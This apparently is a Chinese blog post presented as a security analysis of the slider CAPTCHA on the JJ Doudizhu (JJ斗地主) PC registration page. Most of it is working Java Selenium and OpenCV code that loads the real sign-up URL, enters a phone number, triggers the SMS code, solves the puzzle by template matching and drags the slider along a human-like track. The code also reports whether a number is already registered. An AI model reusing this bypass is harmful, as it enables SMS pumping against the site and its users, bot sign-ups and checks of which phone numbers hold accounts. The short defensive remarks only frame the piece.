前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 JJ斗地主PC 注册入口
简介: JJ斗地主 是由 竞技世界(北京)网络技术有限公司 开发的一款热门在线棋牌游戏,主打竞技斗地主玩法,同时包含多种创新模式和赛事体系,深受全国玩家喜爱。
1. 注册引导页
2. 会员注页面
二、 安全性分析报告:
JJ斗地主采用的是自己研发的滑动验证码,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。
三、 测试方法:
前端界面分析,这是JJ斗地主自己研发的滑动验证码,网上没有现成的教学视频,但形式都差不多,没什么难度 , 这次还是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分 。
1. 模拟器交互部分
private OpenCv2 openCv2 = new OpenCv2(64, 128);
private static String INDEX_URL = "https://www.jj.cn/reg/reg_new.html";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
// 输入手机号
WebElement phoneElement = ChromeUtil.waitElement(driver, By.id("phone_number"), 100);
phoneElement.sendKeys(phone);
// 点击获取验证码
boolean isRobot = false;
WebElement sendElement = driver.findElement(By.xpath("//button[contains(text(), '获取验证码')]"));
if (isRobot) {
int top = 76;
RobotMove.clickByTop(sendElement, top);
} else {
ActionMove.humanLikeClick(driver, sendElement);
// ((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElement);
}
// pic 1 get big
WebElement bigElement = ChromeUtil.waitElement(driver, By.className("jjcaptcha-slider-btm"), 20);
if (bigElement == null) {
System.out.println("bigElement=" + bigElement);
return null;
}
byte[] bigBytes = GetImage.getCanvasAsImage(driver, "jjcaptcha-slider-btm");
int bigLen = (bigBytes != null) ? bigBytes.length : 0;
if (bigLen < 100) {
System.out.println("bigImgUrl->bigLen=" + bigLen);
return null;
}
// pic 2 get small
byte[] smallBytes = GetImage.getCanvasAsImage(driver, "jjcaptcha-slider-top");
if (smallBytes == null) {
System.out.println("smallBytes=" + smallBytes);
return null;
}
String ckSum = GenChecksumUtil.genChecksum(bigBytes);
Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "JjCn", 0);
if (openResult == null || openResult.size() < 2) {
System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);
return null;
}
Double r = 1.1125;
Double minX = openResult.get("minX");
BigDecimal disD = new BigDecimal((minX + 6) * r).setScale(0, BigDecimal.ROUND_HALF_UP);
int distance = disD.intValue();
System.out.println("distance=" + distance);
WebElement moveElement = driver.findElement(By.className("jjcaptcha-slider-block"));
ActionMove.move(driver, moveElement, distance);
Thread.sleep(1000);
WebElement noticeElement = ChromeUtil.waitElement(driver, By.xpath("//div[@class='box_input']/span[@class='notice_no']"), 5);
String notice = (noticeElement != null) ? noticeElement.getText() : null;
if (notice != null) {
retEntity.setMsg(notice);
if (notice.contains("已注册")) {
retEntity.setRet(0);
retEntity.setExist(1);
}
return retEntity;
}
WebElement infoElement = ChromeUtil.waitElement(driver, By.xpath("//button[contains(text(),'获取中')]"), 20);
String info = (infoElement != null) ? infoElement.getText() : null;
retEntity.setMsg(info);
if (info != null && info.contains("获取中")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
if (driver != null)
driver.manage().deleteAllCookies();
}
}
2. 距离识别
/**
*
* @param ckSum
* @param bigBytes
* @param smallBytes
* @param factory
* @return { width, maxX }
*/
public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
try {
String basePath = ConstTable.codePath + factory + "/";
File baseFile = new File(basePath);
if (!baseFile.isDirectory()) {
baseFile.mkdirs();
}
// 小图文件
File smallFile = new File(basePath + ckSum + "_s.png");
FileUtils.writeByteArrayToFile(smallFile, smallBytes);
// 大图文件
File bigFile = new File(basePath + ckSum + "_b.png");
FileUtils.writeByteArrayToFile(bigFile, bigBytes);
// 边框清理(去干扰)
byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
File tpFile = new File(basePath + ckSum + "_t.png");
FileUtils.writeByteArrayToFile(tpFile, clearBoder);
String resultFile = basePath + ckSum + "_o.png";
return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
} catch (Throwable e) {
logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
logger.error(elment.toString());
}
return null;
}
}
/**
* Open Cv 图片模板匹配
*
* @param tpPath
* 模板图片路径
* @param bgPath
* 目标图片路径
* @return { width, maxX }
*/
private String[] getWidth(String tpPath, String bgPath, String resultFile) {
try {
Rect rectCrop = clearWhite(tpPath);
Mat g_tem = Imgcodecs.imread(tpPath);
Mat clearMat = g_tem.submat(rectCrop);
Mat cvt = new Mat();
Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
Mat edgesSlide = new Mat();
Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
Mat cvtSlide = new Mat();
Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
Imgcodecs.imwrite(tpPath, cvtSlide);
Mat g_b = Imgcodecs.imread(bgPath);
Mat edgesBg = new Mat();
Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
Mat cvtBg = new Mat();
Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);
int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
// 归一化相关匹配法
MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
Point maxLoc = minMaxLoc.maxLoc;
Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
Imgcodecs.imwrite(resultFile, cvtBg);
String width = String.valueOf(cvtSlide.cols());
String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
return new String[] { width, maxX };
} catch (Throwable e) {
System.out.println("getWidth() " + e.toString());
logger.error("getWidth() " + e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
logger.error(elment.toString());
}
return null;
}
}
public Rect clearWhite(String smallPath) {
try {
Mat matrix = Imgcodecs.imread(smallPath);
int rows = matrix.rows();// height -> y
int cols = matrix.cols();// width -> x
System.out.println("OpenCv2.clearWhite() rows=" + rows + ",cols=" + cols);
Double rgb;
double[] arr;
int minX = 255;
int minY = 255;
int maxX = 0;
int maxY = 0;
Color c;
for (int x = 0; x < cols; x++) {
for (int y = 0; y < rows; y++) {
arr = matrix.get(y, x);
rgb = 0.00;
for (int i = 0; i < 3; i++) {
rgb += arr[i];
}
c = new Color(rgb.intValue());
int b = c.getBlue();
int r = c.getRed();
int g = c.getGreen();
int sum = r + g + b;
if (sum >= 5) {
if (x <= minX)
minX = x;
else if (x >= maxX)
maxX = x;
if (y <= minY)
minY = y;
else if (y >= maxY)
maxY = y;
}
}
}
int boder = 1;
if (boder > 0) {
minX = (minX > boder) ? minX - boder : 0;
maxX = (maxX + boder < cols) ? maxX + boder : cols;
minY = (minY > boder) ? minY - boder : 0;
maxY = (maxY + boder < rows) ? maxY + boder : rows;
}
int width = (maxX - minX);
int height = (maxY - minY);
System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
Rect rectCrop = new Rect(minX, minY, width, height);
return rectCrop;
} catch (Throwable e) {
StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace()) {
er.append(elment.toString() + "\n");
}
logger.error(er.toString());
System.out.println(er.toString());
return null;
}
}
3. 轨道生成及移动算法
/**
* 双轴轨道生成算法,主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a = (int) (distance / 3.0) + random.nextInt(10);
int h = 0, current = 0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus = true;
Double t = 0.18, v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2);
if (current > distance / 2) {
h = h * -1;
}
v0 = v;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if (move.intValue() < 1)
move = new BigDecimal(1L);
if (plus) {
track.add(new Integer[] { move.intValue(), h });
} else {
subList.add(0, new Integer[] { move.intValue(), h });
}
current += move.intValue();
if (plus && current >= mid.intValue()) {
plus = false;
move = new BigDecimal(0L);
v = 0.00;
}
}
track.addAll(subList);
int bk = current - distance;
if (bk > 0) {
for (int i = 0; i < bk; i++) {
track.add(new Integer[] { -1, h });
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
return track;
} catch (Exception e) {
System.out.print(e.toString());
return null;
}
}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance);
if (track == null || track.size() < 1) {
System.out.println("move() track=" + track);
}
int moveY, moveX;
StringBuffer sb = new StringBuffer();
try {
Actions actions = new Actions(driver);
actions.clickAndHold(element).perform();
Thread.sleep(50);
long begin, cost;
Integer[] move;
int sum = 0;
for (int i = 0; i < track.size(); i++) {
begin = System.currentTimeMillis();
move = track.get(i);
moveX = move[0];
sum += moveX;
moveY = move[1];
if (moveX < 0) {
if (sb.length() > 0) {
sb.append(",");
}
sb.append(moveX);
}
actions.moveByOffset(moveX, moveY).perform();
cost = System.currentTimeMillis() - begin;
if (cost < 5) {
Thread.sleep(5 - cost);
}
}
if (sb.length() > 0) {
System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
}
Thread.sleep(180);
actions.release(element).perform();
Thread.sleep(500);
} catch (Exception e) {
StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace())
er.append(elment.toString() + "\n");
logger.error(er.toString());
System.out.println(er.toString());
}
}
4. 图片比对结果测试样例:
四丶结语
J斗地主 是由 竞技世界(北京)网络技术有限公司 开发的一款热门在线棋牌游戏,主打竞技斗地主玩法,同时包含多种创新模式和赛事体系,深受全国玩家喜爱,作为受众巨大的网络游戏厂商,技术实力雄厚, 人才济济,采用的是自己研发的滑动验证产品, 在一定程度上提高了用户体验, 不过随着图形识别技术及机器学习能力的提升,所以在网上破解的文章和教学视频也是大量存在,并且经过验证的确有效, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》